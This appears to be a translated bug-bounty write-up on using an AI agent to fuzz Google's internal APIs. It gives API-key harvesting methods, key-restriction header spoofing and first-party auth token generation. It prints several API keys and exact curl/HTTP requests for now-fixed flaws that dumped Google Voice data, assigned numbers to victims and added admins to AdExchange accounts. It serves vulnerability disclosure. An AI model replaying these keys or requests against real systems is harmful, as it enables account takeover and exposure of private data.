用AI自动化挖掘Google漏洞,三个月收获50万美元赏金
用AI黑掉Google赚50万美元
2025年10月受邀参加bugSWAT Mexico后,我发现自己又回到了Google研究。虽然我已经专注于其他项目好几个月了,但团队愿意让研究人员一窥Google源码这件事重新点燃了我探索Google攻击面的兴趣。
过去一年我用Claude构建了一些小项目,于是我意识到在利用AI自动大规模模糊测试Google API方面还存在未被发掘的潜力。这个方法的关键是什么?Google的发现文档。对于不了解的人,我建议先阅读我的另一篇文章深入了解,但这里有一个快速回顾:
发现文档本质上就是Google版的Swagger文档——机器可读的API规范,列出了所有可用的端点、参数和方法。虽然像YouTube Data API这类API的发现文档是公开的,但Google内部API(如Internal People API)也有。部分发现文档可公开访问,但大多数需要有效的API密钥。
这是YouTube Data API发现文档的一个示例:
`
"liveChatModerators": {
"methods": {
"insert": {
"flatPath": "youtube/v3/liveChat/moderators",
"description": "...插入一条新资源...",
"httpMethod": "POST",
"parameters": {
"part": { ... }
}
}
...
`
### 收集API密钥 要访问大多数发现文档,你需要一个有效的API密钥。API密钥几乎嵌入在每个Google应用和服务中,但关键在于,一个服务中发现的API密钥通常会在其Google Cloud Platform (GCP) 项目中启用多个其他API。这意味着收集尽可能多的密钥,我们就能访问众多Google API。密钥收集部分,我和我的朋友Michael组队合作。
我们采取了一种穷举法。我们爬取了超过60,000个Android APK(每个Google应用发布过的每一个版本),解包并grep搜索API密钥。
`
user@siege:/mnt/data/apks$ ls -1 | wc -l
61200
`
我们构建了一个Chrome扩展,利用Chrome Debugger API拦截网络流量,然后系统地访问所有已知的Google网络域名(2800+),并使用每一个可能的Web应用功能来捕获实时请求中的密钥。
我们还解密了我们能获得的每个Google IPA,并分析我们能找到的每个Google二进制文件。
为了保持在Google VRP的范围内,并移除非Google API密钥(来自第三方GCP项目的密钥),我使用了一个在Cloud Marketplace API中发现的有趣端点。首先,我们需要获取与密钥关联的GCP项目编号,这会在使用密钥调用一个未启用该密钥的Google API时,从错误消息中暴露出来。例如,请求 https://protos.googleapis.com/$discovery/rest?key=AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc 会返回错误:Protos API has not been used in project 244648151629 before,从而暴露了项目编号。
Cloud Marketplace 端点接收这个项目编号并返回项目信息:
`
GET /v1test/infoSharing/test/test/1044708746243 HTTP/2
Host: cloudmarketplace.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc
1044708746243 是目标项目编号。
`
响应如下:
`json
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{
"company": "google.com",
"email": "gvrptest2@gmail.com",
"name": "GVRP Test2"
}
`
email和name是我通过认证的Google账户的信息,但company是与我们提供的GCP项目编号绑定的域。通过在所有密钥关联的GCP项目上运行这个端点,我们可以过滤掉非Google的API密钥,只需丢弃那些不是来自google.com项目(或其他收购项目,如nest.com、fitbit.com、wing.com)的密钥即可。
收集到API密钥后,下一步是找到所有要扫描的Google API域名。我结合使用了Chrome扩展记录的域名、使用关键词暴力生成的名称以及证书透明度日志。为了验证一个域名是否是活跃的Google API,我发出如下请求:
`
GET / HTTP/2
Host: people-pa.googleapis.com
`
然后检查Server响应头:
`
HTTP/2 404 Not Found
Date: Mon, 16 Feb 2026 08:46:31 GMT
Content-Type: text/html; charset=UTF-8
Server: ESF
`
如果存在这个头(通常是ESF、GSE或HTTPServer2上的 scaffolding),那么这就是一个有效且响应活跃的Google API服务。
### 扫描发现文档
有了有效的API密钥和活跃的Google API域名列表后,我开始大规模扫描开放的发现文档。2025年7月,Google从大多数API中移除了 /$discovery/rest 路径,但如果你足够聪明,在某些情况下还是可以绕过。
还有另一层复杂性。正如我上一篇文章所述,某些Google Cloud项目启用了可见性标签,使它们能够访问隐藏的端点,除非提供labels参数,否则这些端点不会出现在发现文档中。例如,如果我们获取Service Management API的发现文档时不带标签:
`
GET /$discovery/rest HTTP/2
Host: serviceusage.googleapis.com
X-Goog-Api-Key: AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc
`
响应大小为253k字节。然而,加上 ?labels=GOOGLE_INTERNAL:
`
GET /$discovery/rest?labels=GOOGLE_INTERNAL HTTP/2
Host: serviceusage.googleapis.com
X-Goog-Api-Key: AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc
`
响应膨胀到329k字节,揭示了更多隐藏的文档。问题在于labels参数一次只接受一个标签。这意味着要在所有已发现的API上,对每个API密钥测试每个已知的标签。请求量巨大,但这是发现隐藏在可见性标签后的端点的唯一方法。
经过这一切,我能够获得1500多个API的发现文档。结合我从过去研究中存档的发现文档,我准备开始使用AI自动对这些API进行模糊测试。
### 身份验证
grâce à API密钥,我们已经解决了授权问题,但许多端点还需要认证凭证来标识是哪个Google账户在调用API。如果你试图对API密钥使用Bearer身份验证,你会得到一个不匹配错误,因为Bearer令牌本身也绑定到GCP项目:
`json
{
"error": {
"code": 400,
"message": "The API Key and the authentication credential are from different projects.",
"status": "INVALID_ARGUMENT",
...
}
}
`
使用Bearer身份验证没有已知的解决办法。即使你使用 X-Goog-User-Project: <project_number>,它也会验证你的认证账户在该GCP项目中是否具有 roles/serviceusage.serviceUsageConsumer 角色。如果你能找到一种方法,请告诉我。
然而,许多API支持Google的专有第一方认证(FPA),它确实可以与API密钥配合使用。如果你曾经观察过Google API在Web上的工作方式:
`
POST /v1/items:get?key=AIzaSyD_InbmSFufIEps5UAt2NmB_3LvBH3Sz_8 HTTP/3
Host: drivefrontend-pa.clients6.google.com
Cookie: <redacted>
Content-Type: application/json+protobuf
Authorization: SAPISIDHASH <redacted> SAPISID1PHASH <redacted> SAPISID3PHASH <redacted>
X-Goog-Authuser: 0
Origin: https://drive.google.com
Referer: https://drive.google.com/
`
请求中包含Google账户会话Cookie,以及一个从Cookie计算出的Authorization值。它们还发送到 .clients6.google.com 主机名,而不是 .googleapis.com。Stack Overflow上有一个著名的帖子,但没有覆盖全貌。许多API(如drivefrontend-pa.googleapis.com)需要更完整的Google FPA v2授权头版本,它会在哈希中嵌入用户标识符(如电子邮件地址)。
幸好,Michael注意到Google在 https://android-review.googlesource.com/q/status:open+-is:wip 上意外泄露了一段时间的sourcemap,这使我们能够看到Google内部gapix库的前端源代码,其中包含了生成FPA v2授权头的代码。
你可以在这里找到完整的文件。
新的FPA系统(v2)的工作原理如下。哈希中可以包含三个用户标识符:
`
* @param {?Array<{key:string,value:string}>=} opt_userIdentifiers
* 一个由 {key:, value:} 对象组成的数组,其中 'key' 可以是:
* <ul>'e': 表示对应的 'value' 是用户的电子邮件地址
* <ul>'u': 表示对应的 'value' 是用户的焦点混淆Gaia ID
* <ul>'a': 表示对应的 'value' 是用户账户的应用域(仅限Dasher账户需要)
`
然后生成令牌:
`javascript
// 提取标识符键(例如 "e", "u", "a")和值(email、gaia id、domain)
goog.array.forEach(userIdentifiers, function (element, index, array) {
suffix.push(element["key"]); // ["e", "u"] -> "eu"
identifiers.push(element["value"]); // ["user@gmail.com", "ABC123"]
});
// 获取当前Unix时间戳 const timestamp = Math.floor(new Date().getTime() / 1000);
// 构建SHA1输入:"email:gaiaId timestamp sessionCookie origin" if (goog.array.isEmpty(identifiers)) { sha1Parts = [timestamp, sessionCookie, origin]; } else { sha1Parts = [identifiers.join(":"), timestamp, sessionCookie, origin]; }
// 计算空格连接的部分的SHA1哈希 const sha1 = gapix.auth_firstparty.tokencrafter.computeSha1_( sha1Parts.join(" ") );
// 最终令牌:"timestamp_sha1hash_identifierKeys" 例如 "1739700391_abc123def_eu"
const tokenParts = [timestamp, sha1];
if (!goog.array.isEmpty(suffix)) {
tokenParts.push(suffix.join(""));
}
return tokenParts.join("_");
`
Gaia代表“Google Accounts and ID Administration”。每个Google账户都有一个顺序的未混淆 Gaia ID(例如131337133377),以及一个更长的标识符,即焦点混淆Gaia ID,看起来像101189998819991197253。
所以最终令牌格式为 <timestamp>_<hash>_<identifier_keys>。例如,一个Google Workspace用户(内部称为dasher)的令牌可能看起来像 1739700391_abc123def456_eua,其中 eua 表示哈希是使用email、混淆Gaia ID和Google Workspace域计算的。哈希中使用的origin是Origin头部的值(例如 https://drive.google.com)。
一个有趣的事实:只有三种可能的用户标识符键:u 表示混淆Gaia ID,e 表示email,a 表示Google Workspace域。如果你指定其他字母,API后端会忽略它们。所以实际上可以铸造一个包含任意字符串的有效认证头——例如 <timestamp>_<hash>_googlesauthteamhatesthisoneweirdtrick。
### Origin白名单 这里的Origin头部的值很重要。
这个头部由Web浏览器自动添加,指示当前标签页的scheme/host,看起来像 Origin: <scheme>://<hostname>[:<port>]。
许多API有一个所谓的“origin白名单”。如果你使用一个未列入白名单的origin,你会得到一个误导性的错误:
`json
{
"error": {
"code": 401,
"details": [
{
"@type": "type.googleapis.com/google.rpc.ErrorInfo",
"domain": "googleapis.com",
"metadata": {
"cookie": "UNKNOWN",
"method": "google.internal.businessprocess.v1.BusinessProcess.GetIssue",
"service": "businessprocess-pa.googleapis.com"
},
"reason": "SESSION_COOKIE_INVALID"
}
],
"message": "Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project.",
"status": "UNAUTHENTICATED"
}
}
`
这并不意味着你的Cookie无效,而是你使用了未列入白名单的origin。origin白名单在任何地方都没有文档,但利用我上一篇文章中发现的proto泄露漏洞,我检查了 gaia_mint.AllowedFirstPartyAuth 的proto定义:
`protobuf
syntax = "proto3";
package gaia_mint;
message AllowedFirstPartyAuth { enum FirstPartyOriginEnforcementLevel { UNKNOWN = 0; MONITORING_ONLY = 1; PRODUCTION_ORIGINS_ONLY = 2; ENFORCE_ALL = 3; }
bool allow_insecure = 1; bool allow_insecure_pvt = 2; bool legacy_allow_all_origins = 3; FirstPartyOriginEnforcementLevel enforcement_level = 4; repeated AllowedFirstPartyAuthOriginRule allowed_origin_rule = 5; repeated string skip_origin_check_for_test_user = 6; repeated string include_named_origin_rule_list = 7; }
message AllowedFirstPartyAuthOriginRule { string origin = 1; bool is_country_domain_prefix = 2;
oneof mutual_exclusive_options {
bool is_sharded_domain = 3;
bool allow_subdomains = 4;
}
}
`
这让我们更深入地了解了Google内部如何处理origin验证。我们可以看到有不同的执行级别,并支持子域名通配符。允许所有origin的API可能使用了 legacy_allow_all_origins。
### API密钥限制 然而,我遇到的一个问题是某些密钥有特定的header限制。
有四种不同类型的限制:服务器、浏览器、Android和iOS。这些限制也适用于任何人设置自己的GCP项目密钥,如 https://docs.cloud.google.com/api-keys/docs/add-restrictions-api-keys 所述。
你可以在Google的 error_reason proto中看到这些限制定义:
`protobuf
enum ErrorReason {
...
API_KEY_HTTP_REFERRER_BLOCKED = 7;
API_KEY_IP_ADDRESS_BLOCKED = 8;
API_KEY_ANDROID_APP_BLOCKED = 9;
API_KEY_IOS_APP_BLOCKED = 13;
...
}
`
服务器限制使用IP地址白名单(无法绕过),但我们发现很少密钥实际使用这种限制。
对于浏览器限制,需要正确的HTTP Referer(是的,这个拼写是错的)头部:
`
GET /v1/operations HTTP/2
Host: servicemanagement.googleapis.com
X-Goog-Api-Key: AIzaSyAEEV0DrpoOQdbb0EGfIm4vYO9nEwB87Fw
Referer: https://vrptest.google.com
`
有些密钥,比如这个,允许通配符 *.google.com。
这里棘手的一点是,你不能提供不匹配的Referer和Origin头部。所以如果某个端点有Origin白名单,你需要找到一个匹配的Referer和Origin才能使用该API。
另一方面,iOS只需要正确的 X-Ios-Bundle-Identifier 头:
`
GET /v1/operations HTTP/2
Host: servicemanagement.clients6.google.com
X-Goog-Api-Key: AIzaSyBwu1q5p-HA745oE-YssxrrKu4UjaHv-7o
X-Ios-Bundle-Identifier: com.google.GoogleMobile
`
最后,Android限制需要两个匹配的头部:X-Android-Package(Android应用的包名)和 X-Android-Cert(SHA-1签名证书指纹):
`
GET /v1/operations HTTP/2
Host: servicemanagement.clients6.google.com
X-Goog-Api-Key: AIzaSyAHYc-Xn7pR1bXTPACJcTF90qOf-YaBGqA
X-Android-Package: com.google.android.settings.intelligence
X-Android-Cert: dd5fe97609b3615afaa64c0fb41427db07151066
`
在API密钥收集过程中,我们确保存储了所有这些值,因此将这些值的暴力枚举也纳入了同一个程序。
另一个有趣的地方是,对于使用 *.corp.google.com 作为第一方认证origin头,没有任何限制。例如:
`
GET /contentmanager/v1/item_paths HTTP/2
Host: contentmanager.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://coco.corp.google.com
X-Goog-Api-Key: AIzaSyBOh-LSTdP2ddSgqPk6ceLEKTb8viTIvdw
`
这个API只允许来自以下origin头的调用:
- https://coco.corp.google.com
- https://connect.corp.google.com
- https://redbull.corp.google.com
- https://redwood.corp.google.com
以及这些的staging/dev变体(例如 https://connect-staging.corp.google.com)。
有趣的事实:如果一个API只允许 *.corp.google.com origins,那么它很可能是一个内部API,本来不应该公开暴露,而且很可能有漏洞。这个特定的API用于管理 support.google.com 的内容/工作流,并存在一个访问控制漏洞,被奖励了9,000美元。
这是Google API请求完整生命周期的清晰图:
`
[1] 请求到达 *.googleapis.com
|
v
[2] 方法解析
- 404, Content-Type: text/html; charset=UTF-8 (如果方法不存在,返回这个)
|
v
[3] 提供的Content-Type与服务配置
- 400, "JSPB is not configured for service '...'"
|
v
[4] API密钥有效且对该API启用
- 400, reason: API_KEY_INVALID
- 403, "API key not valid."
- 403, "API key is expired"
- 403, "Pulse Private API has not been used in project ..."
- 403, "...doesn't allow unregistered callers..."
- 403, "...missing a valid API key"
|
| ~50% 的请求到staging环境时 [4] 和 [5] 顺序交换
v
[5] API密钥限制
- 403, "Requests from this Android client application <empty> are blocked."
- 403, "Requests from this iOS client application <empty> are blocked."
- 403, "Requests from referer https://console.cloud.google.com are blocked."
|
v
[6] 认证凭证有效性
- 401, "Request had invalid authentication credentials."
- 401, reason: ACCESS_TOKEN_SCOPE_INSUFFICIENT
|
v
[7] 第一方认证origin白名单 (仅当发送FPA cookie时)
- 401, reason: SESSION_COOKIE_INVALID, metadata.cookie: "UNKNOWN"
|
v
[8] API密钥项目 == bearer项目 (仅当同时发送key和bearer时)
- 400, "The API Key and the authentication credential are from different projects."
|
v
[9] 可见性标签
- 404, Content-Type: application/json, "Method not found."
|
v
[10] 方法被调用者的GCP项目阻止
- 403, "Requests to this API ... method ... are blocked."
|
v
...
|
v
[N] 请求由应用服务器处理
`
我围绕这个地图构建了一个程序。对于每个(API密钥,API)对,它向一个已知方法发送探测请求,并根据被拒绝的步骤对响应进行分类(如果通过了第[4]步,则为“passed”)。对每个密钥在每个API上运行这个程序,我得到了一个启用矩阵,显示了哪些密钥对哪些API有效,以及每个API需要的工作origin头和密钥限制头。
### 构建我自己的API Explorer Google有一个叫API Explorer的工具,它在幕后使用发现文档让你测试任何API请求并查看响应。这对于测试公共API非常有用。API Explorer曾经是开源的,但现在不再是了。这是一个问题,因为公共API Explorer只适用于公共API,而不适用于私有/内部API。探索页面也是服务器端生成的,所以你不能简单地在客户端替换不同的发现文档。
考虑到这一点,再加上需要集成FPA v2,我决定构建自己的API Explorer。大约花了一周时间,结果是一个工具,可以在客户端解析任何发现文档,并使用我自己的库通过FPA执行请求。前端自动使用发现文档中定义的结构构建有效的请求/响应JSON。最终结果是一个UI,我可以在其中快速针对API测试任何payload并查看响应。
这是一个我的工具的小型交互式演示,尝试点击“Play”按钮!这个端点是一个访问控制漏洞,泄露了assignedTams(技术账户经理),被奖励了6,000美元。
### 进入AI 现在是时候开始自动对这些API进行模糊测试了。我的目标是自动化发现基本的访问控制问题,然后我可以手动升级为更严重的漏洞。事实上,我上一篇文章中发现的RCE最初就是AI报告的一个线索。
我将前端中用于解析请求/响应JSON的相同代码作为MCP工具接入AI,提供了它像人类一样测试API所需的一切。
#### 初始方法
最初,我只给AI提供了两个工具:probe_api 和 report_vulnerability。后者会使任何报告的漏洞显示在我的前端进行审查。我会为每个API运行一次“渗透测试”,让AI自由探索。
然而,我发现AI并没有彻底测试所有内容。它在几次探测后就提前退出。为了防止这种情况,我使用了一个Ralph Wiggum循环,只允许AI通过调用 confirm_testing_complete() 来完成。这个工具会验证每个端点至少有一次探测调用,然后才让AI结束。
即便如此,AI仍然没有我期望的那样彻底。我还提供了大量的请求/响应JSON和注释作为初始上下文,这很快就消耗了所有可用的上下文大小。我需要一种不同的方法。
#### 基于分组分类
我改变了策略,首先让AI将所有端点分类为逻辑组:
`json
[
{
"group_name": "APK Metadata & Permission Analysis",
"group_description": "管理APK信息、权限认证和基于文本搜索的端点。",
"group_rationale": "这些端点提供了检索APK技术细节的主要接口。集中测试可以寻找搜索结果中的数据泄露以及证书/权限查找中的IDOR。",
"methods": [
{ "method_id": "androidpartner.apks.get", "definition_hash": "4462fbad195536db", ... },
...
]
}
]
`
现在,每次“渗透测试”都专注于一个特定的组,而不是整个API。来自前一组的结果会与同一API中的后续组共享。还会提供一个“范围外”端点列表,以及初始提示中范围内端点的文档。
如果AI想要调用一个范围外的端点,它必须首先使用 get_endpoint_context 来检索请求/响应JSON模式。只有调用这个之后,AI才能探测该端点。
#### 简化 probe_api
最初,probe_api 工具调用要求AI传入所有内容:
`json
{
"body": { ... },
"host": "autopush-cloudcrmcards-pa.sandbox.googleapis.com",
"http_method": "POST",
"include_creds": "113728935872649341310",
"method_id": "autopush_cloudcrmcards_pa_sandbox.updateDataFetcherConfiguration",
"path": "/v1/updateDataFetcherConfiguration",
"version": "v1"
}
`
这包括API主机名、HTTP方法、长的发现方法ID和API版本。AI很容易出现幻觉或提供不正确的值。如果设置了 include_creds(它接受一个Gaia ID),请求将使用我的攻击者Google账户的cookie发送。这抽象掉了复杂的Google FPA认证,使得AI只需专注于构建payload。为了节省工程工作,我重用了我在前端中用于代理Google API请求的同一个API端点。
后来我简化成了:
`json
{
"body": { ... },
"include_creds": "113728935872649341310",
"endpoint": "updateDataFetcherConfiguration",
"path": "/v1/updateDataFetcherConfiguration"
}
`
API主机和版本现在在后台追踪。我还去掉了端点名称中冗长的前缀(如 autopush_cloudcrmcards_pa_sandbox),以减少AI出错的可能性。
#### 多密钥探测
在Google API中,使用一个API密钥的响应可能与另一个不同。对于隐藏在可见性标签后面的端点尤其如此。我让 probe_api 自动使用所有已知的API密钥发送相同的请求。我的后端会处理添加正确的密钥限制头以及origin/referer匹配逻辑。
由于绝大多数密钥的响应都是相同的,我按响应哈希对它们进行分组:
`json
{
"operation_id": "op_023",
"results": [
{
"endpointPath": "/v1internal/accounts/1495306056/dataSegments/1",
"apiKey": "AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE",
"httpMethod": "GET",
"statusCode": 200,
"responseBodyHash": "response_1"
},
{
"endpointPath": "/v1internal/accounts/1495306056/dataSegments/1",
"apiKey": "...",
"statusCode": 404,
"standardErrorType": "MISSING_REQUIRED_VISIBILITY_LABEL"
},
...
],
"responseBodies": {
"response_1": { "responseJson": { ... } }
},
"totalResults": 4
}
`
#### 解析标准错误
Google API经常返回晦涩的错误消息,我能理解但可能会混淆AI。例如:
`json
{
"error": {
"code": 404,
"message": "Method not found.",
"status": "NOT_FOUND"
}
}
`
与你可能想的相反,这并不意味着方法不存在。如果是那样,它会是HTML响应,而不是JSON。这实际上意味着你的API密钥绑定的GCP项目缺少所需的可见性标签。我将其解析为标准错误类型 MISSING_REQUIRED_VISIBILITY_LABEL。
另一个常见的:
`json
{
"error": {
"code": 400,
"message": "Request contains an invalid argument.",
"status": "INVALID_ARGUMENT"
}
}
`
这只意味着一个或多个参数不正确。我将其解析为 INVALID_ARGUMENT_NO_DETAILS,并包含一个 standardErrorExplanation:
`json
{
"standardErrorType": "INVALID_ARGUMENT_NO_DETAILS",
"standardErrorExplanation": "请求因无效参数被应用拒绝,但未提供详细信息。请检查你的请求参数。"
}
`
所有渗透测试都记录在我的前端上,我可以滚动浏览并检查AI所做的每个工具调用。
#### 改进方法 最初,在一堆API上运行AI后,它发现了一些漏洞,但90%都是垃圾。我确定了两个关键问题:
1. 验证很痛苦。没有简单的方法来验证漏洞是否真实。我必须手动在前端访问API,设置所有相同的参数,并检查AI报告的是否合法。据我所知,AI可能完全在编造。
2. 太多噪音。AI会报告我认为不是漏洞的东西,以及那些它认为是“潜在”漏洞但实际上不可利用的东西。一个常见的例子是存在性枚举。一个能够判断用户是否存在的Oracle很有趣,但本身不值得报告。
为了解决验证问题,我让AI在其报告中包含来自 probe_api 响应的操作ID,如 {{op_005}}。在我的前端,这些会被替换为一个UI,显示实际发出的请求(这不能被幻觉)。我可以看到操作返回的响应,并点击“Play”重放请求,验证漏洞是否仍然存在。
为了解决噪音问题,我经历了许多试错,不断调整系统提示,直到我明确了应该报告什么和不应该报告什么。以下是我最终使用的系统提示的摘录(经过一个多月的重构后):
`
你是Google VRP安全研究员,测试Google API以发现IDOR、损坏的访问控制漏洞。
重要: Google使用严格的JSON→gRPC转码和强类型检查。类型混淆漏洞不适用——请使用请求模式中的确切类型。
工具
1. probe_api(...) - 测试端点。返回一个operation_id - 保存用于报告漏洞。 2. report_vulnerability(...) - 报告已确认的漏洞。需要来自probe_api调用的operation_ids作为证据。 3. confirm_testing_complete(report) - 完成时调用。系统会验证所有范围内的端点都已被测试。你的报告将传递给后续测试组——包括发现的ID、有用的上下文以及你注意到的任何模式。 4. get_endpoint_schema(endpoint) - 仅获取范围外端点的模式。在探测范围外端点之前需要调用。
操作ID: 每次probe_api调用返回一个operation_id(例如“op_001”)。报告漏洞时,你必须包含证明漏洞的operation_ids。这会将你的报告与实际请求/响应数据联系起来。
测试规则
端点是穷尽的: 下面列出的端点是唯一存在的端点。不要尝试列出的HTTP方法或路径之外的。
范围内端点: 下面提供了完整的模式。直接探测它们。
范围外端点: 如果需要对它们进行探测以获取上下文或ID发现,请先调用 get_endpoint_schema。
认证: 检查 allows_auth 列来决定是否使用 include_creds。
ID枚举(测试技术 - 不是漏洞): - 如果你发现一个递增的数字ID(例如12345),立即尝试ID-1、ID-2、ID+1、ID+2 - 尝试小ID:1, 2, 3, 100, 1000 - 交叉引用从一个端点发现的ID在其他端点上 - 这是找到其他用户资源的方法 - 注意: 能够枚举ID不是漏洞。只有在你能实际访问机密数据时才报告。
不知道参数值? 使用:“1”、“test”、“me”、“default”、假的UUID。永远不要跳过端点。
对每个端点进行多次探测,使用不同的认证状态和ID。
报告
当你发现以下情况时报告: - 访问其他用户的数据 - 2xx响应包含私有数据,而期望4xx
不要报告: - 500错误,401/403/404错误,400无效参数错误 - 状态200但未泄露实际的私有数据或可证明的影响 - 存在性枚举 - 永远不要报告你能检测到一个ID是否存在(例如有效与无效ID的不同响应)。这不是漏洞,除非它泄露敏感信息,如电子邮件、姓名或私有数据。使用枚举进行测试,但不要报告它。
严重性: - DEBUG: 内部调试信息泄露(不是 type.googleapis.com/xxx) - INFO: 疑似IDOR - 端点返回200/404/500并带有资源ID,但无法确认有效ID(需要手动验证) - MEDIUM: Gaia ID → 受害者的Email映射 - MEDIUM: 项目编号 → 受害者的项目ID映射 - HIGH: IDOR泄露其他用户的数据 - CRITICAL: 损坏的访问控制泄露敏感用户数据
立即报告。 一旦你确认了一个漏洞,立即调用 report_vulnerability - 不要等到最后。
每个漏洞 = 一个报告。 如果你在多个端点上发现同一个漏洞,只报告一次。例外:INFO级别的内部错误泄露 - 只报告你看到的第一个,除非它们有显著不同。
`
一旦这两个问题解决了,AI开始不断发现漏洞,准确率超过50%。审查它们变得轻而易举。我只需点击“Play”,看看漏洞是否仍然存在,然后报告。很快,唯一的限制因素就是API密钥了。
### 攻破Google 现在有趣的部分来了:AI在运行不到3个月的时间里发现了价值50万美元的漏洞。这里有太多漏洞了,但下面是一些它发现的最酷的漏洞(已修复)。
#### Google Voice ATO
gfibervoice-pa.googleapis.com 上完全没有访问控制检查,它似乎包含Google Voice和Google Fiber的管理端点。
只需一行curl命令(你甚至不需要认证):
`
curl 'https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=786575234861' \
-X GET \
-H 'X-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE'
`
将gaiaId替换为受害者未混淆的Gaia ID
如果他们的Google账户绑定了Google Voice号码,它会转储所有PII:
`json
{
"voiceAccountInfo": {
"voiceSettings": {
"did": "+<REDACTED PHONE>",
"notificationAddress": "<REDACTED>@gmail.com",
"voicemailPin": "",
"forwardingPhone": [ ... ],
"timezone": "America/Chicago",
...
}
}
}
`
从这个API响应中,我们可以看到受害者的Google Voice号码以及他们的Google账户恢复电话号码!
该API还方便地提供了一个端点,可以将Google Voice号码分配给任何目标Google账户(即使他们以前从未使用过Voice):
`
curl 'https://gfibervoice-pa.googleapis.com/v1/AssignNumber' \
-X POST \
-H 'Content-Type: application/json' \
-H 'X-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE' \
--data-raw '{"gaiaId":"1072004820935","accountId":"1","number":"+16503837639"}'
`
Account ID没有被验证,可以是任何内容。
API会返回:
`json
{
"error": {
"code": 500,
"message": "Internal error encountered.",
"status": "INTERNAL"
}
}
`
但这没关系,号码还是被添加了。号码甚至会出现在受害者Google账户的“电话”页面 https://myaccount.google.com/phone。
如果你再次获取受害者的资料:
`json
{
"voiceAccountInfo": {
"voiceSettings": {
"did": "+16503837639",
"emailForVoicemailNotification": true,
"notificationAddress": "meowing@gmail.com",
"forwardingPhone": [ { "phoneNumber": "<REDACTED>", "verified": true } ],
...
}
}
}
`
受害者的Google账户恢复电话号码会变得可见。经过与Google确认,似乎需要满足某些特定条件,恢复电话号码才会在这里显示,并非每个Google账户都会显示,但Google拒绝提供确切条件。
对于转移现有的Google Voice号码,这稍微复杂一些。你需要给Voice受害者分配两个新号码,其中一个是目标号码,一段时间后原来的Voice号码会“过期”,然后你可以将它分配给自己的攻击账户。否则,它会返回一些奇怪的错误。
有趣的是,这个API上还有几个其他可疑的端点,由于我没有Google Fiber账户而无法测试,它们可能允许进行SIM卡交换攻击:
`
POST /v1/InitiateNumberPort
`
(具体内容见原文)
这个漏洞被标记为P0/S0,几小时内就被修补,并奖励了20,000美元,类别为:可能导致特别敏感用户数据泄露的域名。漏洞类别是“绕过重要安全控制”,PII或其他机密信息。
修补后不久,我碰巧注意到端点开始返回一个奇怪的错误:
`
GET /v1/CheckNumberPortStatus HTTP/2
Host: gfibervoice-pa.googleapis.com
X-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE
Response: HTTP/2 404 Not Found
Content-Type: text/plain; charset=utf-8
...
Not found: '/v1/CheckNumberPortStatus'
`
看起来像一个Envoy代理错误,我以前在 *.googleapis.com 上没有见过。我与Michael分享了这个发现,他碰巧注意到URL https://gfibervoice-pa.googleapis.com 开始重定向到 /statusz(一个404页面)。然后他在这个域名上使用后缀 z 运行了ffuf,发现了更多路径:
`
appsframeworkz
bouncerz
bpfz
btz
bugz
cacheserverz
cdpushz
censusz
choicez
codez
...
`
大多数返回403。然而,/btz 似乎返回状态200。这就是所谓的zhandler。这些通常只应从Google内网访问。在这种情况下,它并不是特别有用,但它往往会泄露来自borg的调试信息。
如果你能到达 /flagz(通过暴露的zhandler,或在bugSWAT期间通过暴露的Wi-Fi热点。..),你实际上可以通过拉取运行服务的 .class 文件来找到API密钥。
#### AdExchange ATO
AdExchange是Google的广告管理平台,允许发布商(网站、应用等)出售广告空间。最初,AI发现了一个非常有趣的端点,它似乎只用一个请求就能转储所有AdExchange账户的列表:
`
GET /v1internal/cookieMatchingAccounts HTTP/2
Host: adexchangebuyer.clients6.google.com
...
`
这个API的特别之处在于它实际上是公开的,但是该端点隐藏在一个只有 google.com:ad-exchange-buyer-fe 才能访问的可见性标签后面。
起初,我无法从这里获得更多信息,因为所有其他有趣的与账户相关的端点似乎都返回 PERMISSION_DENIED,但后来AI报告了以下发现:
请求(到 test-adexchangebuyer-googleapis.sandbox.google.com)返回了账户详细信息,包括联系邮箱等。所有在生产环境中被 PERMISSION_DENIED 阻止的与账户相关的端点,在这里都没有访问控制!
起初,我假设只有staging环境受影响,因为主机名是 test-adexchangebuyer-googleapis.sandbox.google.com。然而,当我测试一个之前从生产环境泄露的已知测试账户ID时,它实际上可以工作:
`
GET /v1internal/buyers/6558940734/users HTTP/2
Host: test-adexchangebuyer-googleapis.sandbox.google.com
...
`
返回了该账户的用户列表,包括管理员邮箱。
事实证明,尽管这些端点在prod上被阻止,但staging环境(test-...sandbox.google.com)实际上指向的是生产数据!
甚至可以把自己添加到任何AdExchange账户:
`
POST /v1internal/buyers/6558940734/users HTTP/2
Host: test-adexchangebuyer-googleapis.sandbox.google.com
...
{ "emailAddress": "gvrptest2@gmail.com", "accountId": "6558940734", "status": "PENDING", "role": "ADMIN" }
`
返回成功。然而,我未被授权访问UI(admanager.google.com),所以无法实际访问应用前端。我为这个API报告了两个独立的问题,共获得30,000美元。
#### eldar.corp.google.com
Eldar似乎是一个仅供Googler使用的内部网站,用于管理内部隐私请求/评估。虽然前端本身受到ÜberProxy保护(因为它在 *.corp.google.com 上),但API本身却公开暴露在 eldar-pa.clients6.google.com 上,允许非Googler查询任何内容。
由于Eldar上信息的性质,这尤其有趣。例如,你可以看到访问内部Google日志的请求:
`
GET /v1/assessments/19286785/revisions/1 HTTP/2
Host: eldar-pa.clients6.google.com
...
`
响应包含了一个内部日志访问请求的全部内容。
我最初从Eldar(eldar-noreply+accessrequest@google.com)收到的许多电子邮件中发现AI找到了这个漏洞。
他们最初通过阻止 eldar-pa.clients6.google.com 公开访问来修复这个漏洞(我假设他们将其移到了 *.corp.googleapis.com 地址后,受ÜberProxy保护),但仍然可以通过 autopush-eldar-pa-googleapis.sandbox.google.com 访问该API,我将此事告知了他们。
